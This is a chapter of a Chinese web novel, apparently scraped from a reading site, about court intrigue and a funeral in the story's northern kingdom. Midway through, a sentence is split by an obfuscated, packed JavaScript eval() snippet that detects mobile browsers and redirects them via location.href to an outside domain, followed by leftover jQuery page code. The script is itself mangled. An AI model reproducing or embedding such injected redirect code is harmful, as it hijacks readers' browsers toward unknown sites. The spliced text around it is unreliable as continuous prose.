对酒听风吟 作品
86.送尔归天还奕清明
奕知独坐高台之上,龙袍之下是背影的枯寂,冠冕垂旒下的面容苍白如纸。
自登基以来,这方龙椅于他不过是镀金牢笼,坐上便是天地混沌,不知所为。
如今想来自己当初是何等无知。
引狼入室,如此这般,咎由自取,怨得何人?
“陛下,南归王求见!”
殿外尖细的嗓音刺破殿内的寂静,原本垂眸的奕知骤然抬眼,黯淡瞳仁瞬间泛起涟漪。
他用指尖用力掐进掌心,借着刺痛,清醒几分,哑声道:“宣。”
沉重大门被推开,带进来了外面的明媚和那明媚下意气风发的奕贞。
奕贞锦袍加身,行至阶下,长揖行礼:“参见陛下,愿吾皇万岁万岁万万岁!”
“免礼。”奕知虚抬衣袖,声音也带着初醒时的慵懒,“南归王亲至,所为何事?”
话音未落,只见奕贞从容自袖中抽出折子,呈上言:“启禀陛下,臣是来告知柳思生下落,亦查清了掳他离开观星阁的幕后主使。”
听见“柳思生”,龙椅上的身影猛地一颤。
紧接着,奕知扶着蟠龙扶手踉跄起身,目光扫过空旷殿宇,确认那人不在,才厉声道:“说下去。”
“是东寻。”奕贞脱口而出,也是慢慢抬眸,对上奕知的视线愈发坚定,“东寻要跟北定合谋,助摄政王推翻大同,光复大昭,而柳思生此人,如今正在东寻城中。”
听见这番话,奕知眉头紧皱。
他一步一步走下高台,于奕贞身前驻足,不可思议开口:“柳思生……还活着?”
“没错陛下。”奕贞将折子往前送了送,“如今东寻城中黑蛟已尽数去往北定与摄政王汇合,而东寻王这边守备薄弱,臣也探得东寻布防,此刻正是一举进攻东寻,拿下柳思生的最好时机。”
奕知目光紧锁奕贞手中的折子,却并未抬手接去。
他刚刚的惊讶荡然无存,只留一丝阴郁在眼底,对着奕贞询问:“温语,你为何要帮朕,朕记得你明明是奕临的人,而奕临死在大同的旗帜之下。”
奕贞似乎早有所料,不慌不忙开口解释:“臣不为任何人效力,臣只有一个目的。”
“什么?”
“柳思生不是凡人,他跟朱茱一样都是这祸乱世间的存在,臣只要他们能为这世间冤魂偿命。”奕贞说着,一个响头重重砸在地上,“九弟谋反,但他始终是柳思生的人,就算成功除了朱茱,他柳思生还是能心安理得活在这个世上,臣选大哥,是因为大哥比九弟更能做到这些。”
奕知闻言,半蹲下身子,掐着奕贞的下巴迫使他抬头:“温语,你老实告诉朕,你这么做,当真为了天下?”
“亦是为了三哥!”奕贞也不隐瞒,直接托出,“三哥当是天命,却先是被柳思生算计,又被西和逼迫,最后含恨而终,祥龙之气散去,世间浩劫,而引起这一切的不过是一个柳思生?试问天地为何?你我众生为何?就如此,由着他随意玩弄?”
“我等终会觉醒,想必大哥也看出,朱茱姑娘跟他是一类人,但我知大哥在反抗,而不是如九弟那般轻易陷进去,所以我才寻大哥帮忙。”
“无人天下何人当道,我势必当送他们归天,还世间之清明,奕家之清明!”
“阿嚏——”
柳思生掩鼻,猝不及防打了个喷嚏。
案边执笔书写的楚禹闻声一惊,赶忙取来毯子轻轻覆在他身上,关切问:“可是还有哪里不舒服?要唤陆大夫过来吗?”
柳思生揉了揉发痒的鼻尖,摆手言:“我无事,只是看着这几日又要落雪,风里裹着潮气,凉了些,不必过分忧心。哦,对了,若朝可曾来过信?”
楚禹听见这个,长叹一口气,摇了摇头:“他去北月之时带走了许多东寻信鸽,说是有备无患,可如今这除了不久前借黑蛟的那个,全都没回来,我也是担心傅烛他们的情况,这写了信也不知道能不能传过去。”
“若是傅烛与他汇合,你倒是可放心,如何做,我都教过,不会出事的。”柳思生不见得丝毫慌张,还托起一旁的热茶轻抿了一口,“只是北月局势恐难对付,就看他如何取舍了。”
这话虽是宽慰,但楚禹可做不到他这么悠哉,心事重重,脸上的阴霾也怎么都散不去:“贸然传信恐生变数,还是算了,少一事能省不少麻烦。”
柳思生直言:“其实东寻合谋北定之事早就暴露了,你该写就写,兵力不在东寻,华京也不惧狼烟是从东寻燃起的,管不得你。”
楚禹点头:“我知道,宫内有那个女人,我们的一切我想她都能算出来。”
“不止那个女人。”
楚禹一愣,不解道:“那还有谁?”
“奕贞。”柳思生淡然说出那个名字,而后对上楚禹震惊的神色,慢悠悠解释,“他不是我的人,他从始至终都是太子的人,而那南归王府,是他专门为奕临烧的,死的人中,也早有我跟若朝的名字,为了……以表忠心?”
“什么……”
“其实这已经是众人皆知的事情,没什么好瞒着。”柳思生将目光投向远处,神色复杂言,“当初南归失火,最大受益便是奕贞,这孩子自小便看得通透,他能看清局势,加之昭帝当初偏爱奕临,他便想了法的巴结,也是为了让自己的日子好过,奕临那时候也确实喜欢有他这么个狗腿子,但他却从不愿信任,毕竟他也是皇子,论能威胁到自己的皇位,除了若朝,便是他了。”
“只是我当时没能算出,无奈入局,被囚禁宫内,冷静下来才看清了许多事,原来他当初是顺我的局走,未能改变结局,也难怪我猜不到,只是可怜了南归王一家,只是他进行这场利益的筹码。”
柳思生顿了顿,接着言:“可惜如今这事儿被我知道了,他也就受到了威胁,出于自保的本能,他下一步应是要除掉我,去那宫里寻能与我抗衡之人,不得不说,这小子还是有点聪明。”
楚禹担忧言:“那你之前还见他,岂不是让他知道全部?”
“无妨。”柳思生说着,脸上染起一丝意味不明的笑意,“要的便是让他知全貌,他入局,将棋局搅乱,我们顺着他的局走,你猜朱茱她可能算到?”
“可是奕宣还不知此事,我们如何告知?”
柳思生自信一笑:“慌什么,他知所知我便知所有,不然你猜我如何能在这朝中苟活如此之久?我也是有靠山的人呦~”
楚禹着急追问:“是什么?”
“秘密。”柳思生说着冲他挑眉一笑,“放宽心,按我之前所说的行事,待若朝回京,我保东寻在新朝风生水起。”
“……”
陆瑶迎着风沙站在瞭望塔,看着远处银光入目,悬着的心才终是放下。
北定城门大开,奕宣身披银甲策马走在队伍最前面,叶定川则是愁眉不展,不过是难得顺从,乖乖跟在他身侧。
奕宣注意
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15662861|165193||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
到了他的臭脸,脸都懒得扭便开口警告:“收起这丧家犬的模样,之前自顾自跑过去报仇,如今安然无恙回来了,就别再让陆瑶担心。”
“你还好意思说我?”叶定川也是不服气,同之前一样毫不留情怼回去,“这动不动就丢的人,可是没资格说这话。”
素色帷幔遮遍北定王府,陆瑶头上戴孝,一身素衣,站在门口相迎。
纸灰纷飞,铜铃轻颤,哀乐四起。
奕宣沉痛下马,卸甲后一步步走向陆瑶,一副要挨骂的模样,颤抖着声音开口:“陆瑶,我……”
“回来就好。”陆瑶直接开口打断他,眼尾还留着不散的殷红,嘴唇苍白。
明明才一月不见,他便肉眼可见瘦了不少,而如今,手中正紧紧攥着一节孝带。
他身形有些不稳,移步到奕宣面前,拉起他的胳膊,将那节孝带系上,随即为他让开一条路:“再怎么说,也是亲人,你也去送送吧。”
“我……”奕宣明明憋了一肚子话,可此刻却一个字都吐不出来。
犹豫中,感觉一双手狠狠推了自己一下,身子踉跄之际,一只脚也不自觉地迈入了灵堂。
叶定川自他身旁掠过,先一步走了进去。
他低头,将孝带系上额头,恰逢此时,目光浅扫奕宣。
那一眼奕宣看得真切。
他在哭。
这应该是自己看见他第二次哭。
我其实也该哭。
但眼泪为何流不下来?
跟刚刚得知他们死的消息一样。
我甚至对北月恨不起来……
我……当真薄情?
在那碑位上,奕宣看清楚了叶定山的字。
盼归。
如今想想,盼归、盼期……
叶定山死了,但叶定川还活着,归已去不归,期未来盼期,原来那是他们早就注定的结局。
而知道这些结局的柳思生呢?
他在为他们赐字时会心痛吗?
而我的字……他也会痛吗?
奕宣僵直着脊背跪在蒲团上,垂眸避开灵堂中央的白幡不愿面对,余光却不自觉扫向身侧。
只是见着叶定川连着磕头,也不知在想些什么。
不光他,还有我。
陆瑶缓走过来,掏出一封信,递到奕宣面前,一字一句道:“魏宿将军来信,迎陛下回宫!”
奕宣死死盯着那信封,双瞳瞬间泛起血丝,声音发颤:“柳思生呢?怎么不是他来信?”
“陛下不都弃了先生了吗?”陆瑶神色平静反问出口,又将信往他面前送了送,“陛下也不会走先生的局,先生知道,也没法出手,陛下还是走自己的局,亲自踏上那皇位看看吧。”
奕宣又问,只是声音愈发没有底气:“那他……还活着吗?”
陆瑶冷声言:“有那么重要吗?不过先生又额外给陛下送了份礼,助陛下登临天之位,陛下也是亲自回去看看吧。”
奕宣沉默良久,终于伸手接过信笺,猛地起身,头也不回地朝外走去。
叶定川最后一个响头重重磕在地上,震得身下木板都跟着一颤,而后也是长呼一口气,跟着起身离开。
临走时他将头上的孝带取下,递到陆瑶面前:“令仪哥,我走了……”
“去吧,北定有我,你可安心。”陆瑶费力挤出个笑容,对着叶定川点了点头,“只是你跟他,别再受伤了,叶家人的债……该是还够了。”